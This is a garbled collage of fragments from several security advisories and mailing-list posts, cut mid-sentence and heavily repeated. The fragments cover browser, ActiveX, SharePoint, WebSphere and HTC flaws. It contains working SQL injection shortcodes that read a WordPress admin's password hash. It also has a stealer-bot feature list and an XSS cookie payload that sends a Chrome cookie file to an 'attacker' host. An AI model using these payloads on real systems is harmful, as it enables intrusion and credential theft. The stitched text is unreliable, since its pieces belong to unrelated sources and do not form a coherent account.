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Log in as user with posting privileges and use shortcode as below:
[Spider_Catalog_Product id="0' UNION SELECT 1,2,3,@@version,5,6,7,8,9,10,11,12#"]
Now open webpage containing specific post and MySQL version info will be revealed.
Second test:
[Spider_Catalog_Product id="0' UNION SELECT 1,2,3,(SELECT CONCAT_WS(0x3a,user_login,user_pass)FROM wp_users WHERE ID=1),5,6,7,8,9,10,11,12#"]
CVE Name: CVE-2008-3480
*Vulnerability Description*
Anzio Web Print Object (WePO) is a Windows ActiveX web page component
that, when placed on a web page can "push" a print job from a file or
web server to a user's local printer without having to display the HTML
equivalent to that user. By placing WePO code on a web page, you can
provide a method whereby the viewer of that web page can request a local
print of a host resident print job, archived print job or a report
operating systems The code created by [byvOlk] PHP and Visual Basic 6.0.
Features:
[+] Add Startup
[+] Download & Execute.
[+] Visit Webpage [Visible].
[+] Visit Webpage [Invisible].
[+] Mutex
[+] Stealer FTP(Filezilla)
[+] Msn Stealer(Messenger Save User)
[+] Statistics Bot s
Overview
========
A stored XSS vulnerability exists in Microsoft Windows SharePoint
Services 2.0 where a malicious user can bypass sanitization and inject
javascript into a web page they are editing. Under normal circumstances,
SharePoint does not permit users to include javascript in any submitted
content.
Impact
IMPACT
------
The vulnerability described in this document can be exploited by a
malicious Web page to execute arbitrary code with low integrity.
Active scripting must be enabled, and the present exploitation
techniques require that font downloading be set to "Enable" or
"Prompt" and that the "mailto:" protocol be present. (These
requirements are satisfied by default on Windows XP, Windows Vista,
and Windows 7.) The user is presented with a message box which must
IMPACT
------
The vulnerability described in this document can be exploited by a
malicious Web page to execute arbitrary code with low integrity.
Active scripting must be enabled, and the present exploitation
techniques require that font downloading be set to "Enable" or
"Prompt" and that the "mailto:" protocol be present. (These
requirements are satisfied by default on Windows XP, Windows Vista,
and Windows 7.) The user is presented with a message box which must
1. A malicious app create a symlink pointing to Chrome's Cookie file. The
extension of the symlink should be "html", which is a simple trick for
spoofing Content-Type.
2. The malicious app forces Chrome to load attacker's Web page. The Web page
sets a crafted Cookie which contains malicious HTML+JavaScript to steal
the whole content of the Cookie file:
Set-Cookie: x=<img><script>document.images[0].src='http://attacker/?'
+encodeURIComponent(document.body.innerHTML)</script>;
virtual keyboards and virtual keypads.
As a user of Internet Explorer, your mouse movements can be recorded
by an attacker even if you are security conscious and you never
install any untoward software. An attacker can get access to your
mouse movements simply by buying a display ad slot on any webpage you
visit. This is not restricted to lowbrow porn and file-sharing sites.
Through today’s ad exchanges, any site from YouTube to the New York
Times is a possible attack vector. Indeed, the vulnerability is
already being exploited by at least two display ad analytics companies
across billions of webpage impressions each month. As long as the page
There exist two seperate security issues in Mozilla Firefox concerning
JavaScript prompts appearing from domain which is not the true origin.
The first is about spawning JavaScript prompted message over web page of
another domain, so in effect, the address bar and the browser content
are from one domain, but the prompted JavaScript message is generated by
script from another different domain. This is resulted from a race
condition scenario, in which the browser is first navigated to URL of
another domain, then before it's loaded, immediately launch JavaScript
message prompting, so JavaScript message is displayed over a web page
other than its origin web page. The issue here only affects Firefox, and
>
> The complete project is written in pure python and is distributed under
> the LGPL license [2].
>
> Links:
> Project's Web Page http://code.google.com/p/deeptoad/
> Download Web Page http://code.google.com/p/deeptoad/downloads/list
> Wiki http://code.google.com/p/deeptoad/w/list
>
> References:
> [1] http://ssdeep.sourceforge.net/
>> >
>> > The complete project is written in pure python and is distributed under
>> > the LGPL license [2].
>> >
>> > Links:
>> > Project's Web Page http://code.google.com/p/deeptoad/
>> > Download Web Page http://code.google.com/p/deeptoad/downloads/list
>> > Wiki http://code.google.com/p/deeptoad/w/list
>> >
>> > References:
>> > [1] http://ssdeep.sourceforge.net/
The complete project is written in pure python and is distributed under
the LGPL license [2].
Links:
Project's Web Page http://code.google.com/p/deeptoad/
Download Web Page http://code.google.com/p/deeptoad/downloads/list
Wiki http://code.google.com/p/deeptoad/w/list
References:
[1] http://ssdeep.sourceforge.net/
I. BACKGROUND
HTML+TIME (HTML Timed Interactive Multimedia Extensions)is a web
standard that was created for Microsoft Corp.'s Internet Explorer (IE)
to allow web page authors to create timed animation content on a web
page. This is accomplished using an XML like markup that makes use of
HTML+TIME properties and elements. Internet Explorer supports this
markup standard, and also exposes a scripting interface for interacting
with the HTML+TIME elements on the page. For more information, please
see the vendor's web page at the following link:
> >> > The complete project is written in pure
> python and is distributed under
> >> > the LGPL license [2].
> >> >
> >> > Links:
> >> > Project's Web Page http://code.google.com/p/deeptoad/
> >> > Download Web Page http://code.google.com/p/deeptoad/downloads/list
> >> > Wiki http://code.google.com/p/deeptoad/w/list
> >> >
> >> > References:
> >> > [1] http://ssdeep.sourceforge.net/
arbitrary code.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user viewing the Web page. To exploit
this vulnerability, a targeted user must load a malicious Web page
created by an attacker. An attacker typically accomplishes this via
social engineering or injecting content into compromised, trusted
sites. After the user visits the malicious Web page, no further user
interaction is needed.
arbitrary code when this pointer is accessed later.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user viewing the Web page. To exploit
this vulnerability, a targeted user must load a malicious Web page. An
attacker typically accomplishes this via social engineering or
injecting content into compromised, trusted sites. After the user
visits the malicious Web page, no further user interaction is needed.
score of 5.0 (Partial DoS in the BlackBerry browser application), but
could be used for sharp & evil purpose by those who know how to play
with such kind of stuff.
Basically, thanks to our 0day, an attacker could maliciously craft a web
page such that, when the BlackBerry device user views the page on a
device running the affected BlackBerry Device Software, the browser
application becomes unresponsive.
To quote RIM web site, the BlackBerry device subsequently terminates the
browser, and the browser eventually restarts and displays an error message.
2010-12-11: Due to the lack of a response, Taddong finally requests one (or two; this is left up to MITRE) CVE ID(s) to MITRE. The CVE ID request process is the reason for a new delay in the second proposed deadline for the public disclosure (Dec, 6).
2010-12-15: Taddong tries to confirm if the CVE ID request has been received by MITRE without success. Taddong never got a response from MITRE about the CVE ID request.
2010-12-16: HTC provides a hotfix for testing to Taddong (named "LEO_S01175").
2010-12-17: Taddong replies back confirming that the hotfix solves the Basic authentication issue, as OAuth is the only authentication method used after applying the hotfix. However, still HTC Peep discloses the user credentials in the initial OAuth exchange through HTTP. Taddong suggests to use HTTPS for the whole Twitter session as the right solution (that would also solve other session-based attacks) and asks for the details of a future release.
2010-12-20: HTC confirms the suggested solutions have been notified to the engineering department, and that the fix is available for several models. Taddong requests details of the affected models.
2010-12-21: HTC confirms that the affected models include: HD2, T-Mobile HD2, Topaz, Rhodium, and HD Mini. There is no information yet about the web page where the update will be available.
2011-01-17: Taddong tries to gather details about the web page where the update will be available, as well as information about the pending issue, the credentials being disclosed through HTTP (vs. HTTPS). It is four and a half months since the original notification.
2011-01-18: HTC replies notifying they "haven’t received any further information yet (from engineering), and that they will resend our feedback regarding the update again and check with them if they will release any further upgrades soon".
2011-01-24: Taddong sets the final vulnerability advisory release for February 4, 2011 (in +10 days and five months since the initial notification), and notifies HTC accordingly, asking for HTTPS support over the hotfix functionality, and trying to retrieve the specific webpage where the update will be available to include it in the advisory. HTC confirmed the reception of this notification. Taddong sent an e-mail to MITRE trying, once again, to get one (or two) CVE IDs for these vulnerabilities.
2011-02-03: One day before publishing the advisory, Taddong contacts HTC and tries to gather details about the web page from where users could download a fix for this vulnerability, trying to include an official solution in the advisory. HTC replies back informing "...that for the time being the update hasn’t yet been released on the website however, any customer who wishes to download it can contact us and we will send it out to them".
2011-02-04: Taddong publishes security advisory TAD-2011-001.
corrupts memory and leads to an exploitable condition.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user viewing the Web page. To exploit
this vulnerability, a targeted user must load a malicious Web page
created by an attacker. An attacker typically accomplishes this via
social engineering or injecting content into compromised, trusted
sites. After the user visits the malicious Web page, no further user
interaction is needed.
exploitable condition.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user viewing the Web page. To exploit
this vulnerability, a targeted user must load a malicious Web page
created by an attacker. An attacker typically accomplishes this via
social engineering or injecting content into compromised, trusted
sites. After the user visits the malicious Web page, no further user
interaction is needed.
address, which can lead to the execution of arbitrary code.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user viewing the Web page. To exploit
this vulnerability, a targeted user must load a malicious Web page
created by an attacker. An attacker typically accomplishes this via
social engineering or injecting content into compromised, trusted sites.
After the user visits the malicious Web page, no further user
interaction is needed.
arbitrary code.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user viewing the Web page. To exploit
this vulnerability, a targeted user must load a malicious Web page
created by an attacker. An attacker typically accomplishes this via
social engineering or injecting content into compromised, trusted sites.
After the user visits the malicious Web page, no further user
interaction is needed.
execution of arbitrary code.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user viewing the Web page. To exploit
this vulnerability, a targeted user must load a malicious Web page
created by an attacker. An attacker typically accomplishes this via
social engineering or injecting content into compromised, trusted sites.
After the user visits the malicious Web page, no further user
interaction is needed.
The administrative console of IBM WebSphere Application Server is
vulnerable to Cross-Site Request Forgery (CSRF) attacks, which can be
exploited by remote attackers to force a logged-in administrator to
perform unwanted actions on the IBM WebSphere administrative console, by
enticing him to visit a malicious web page.
4. *Vulnerable packages*
. IBM WebSphere Application Server 7.0.0.11
function call. This may result in the execution of arbitrary code.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user viewing the Web page. To exploit
this vulnerability, a targeted user must load a malicious Web page
created by an attacker. An attacker typically accomplishes this via
social engineering or injecting content into compromised, trusted sites.
After the user visits the malicious Web page, no further user
interaction is needed.
arbitrary code.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user viewing the Web page. To exploit
this vulnerability, a targeted user must load a malicious Web page
created by an attacker. An attacker typically accomplishes this via
social engineering or injecting content into compromised, trusted sites.
After the user visits the malicious Web page, no further user
interaction is needed.
already been freed. This can lead to the execution of arbitrary code.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user viewing the Web page. To exploit
this vulnerability, a targeted user must load a malicious Web page
created by an attacker. An attacker typically accomplishes this via
social engineering or injecting content into compromised, trusted sites.
After the user visits the malicious Web page, no further user
interaction is needed.
corruption will occur, leading to an exploitable condition.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user viewing the Web page. To exploit
this vulnerability, a targeted user must load a malicious Web page that
an attacker creates. An attacker typically accomplishes this via social
engineering or injecting content into compromised, trusted sites. After
the user visits the malicious Web page, no further user interaction is
needed.
code.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user viewing the Web page. To exploit
this vulnerability, a targeted user must load a malicious Web page
created by an attacker. An attacker typically accomplishes this via
social engineering or injecting content into compromised, trusted sites.
After the user visits the malicious Web page, no further user
interaction is needed.
------------------------------------------------------------------------
ClickOnce is a deployment technology that allows you to create
self-updating Windows-based applications that can be installed and run
with minimal user interaction. A ClickOnce application is any Windows
Forms or Console application published using ClickOnce technology.
Applications can be published from a web page, a file share, or from
media (i.e. CD-ROM). ClickOnce is available in .NET 2.0 and later.
An application that is deployed through ClickOnce consists of at least
three files; a deployment manifest (.application), an application
manifest (.exe.manifest) and the application. The application is usually
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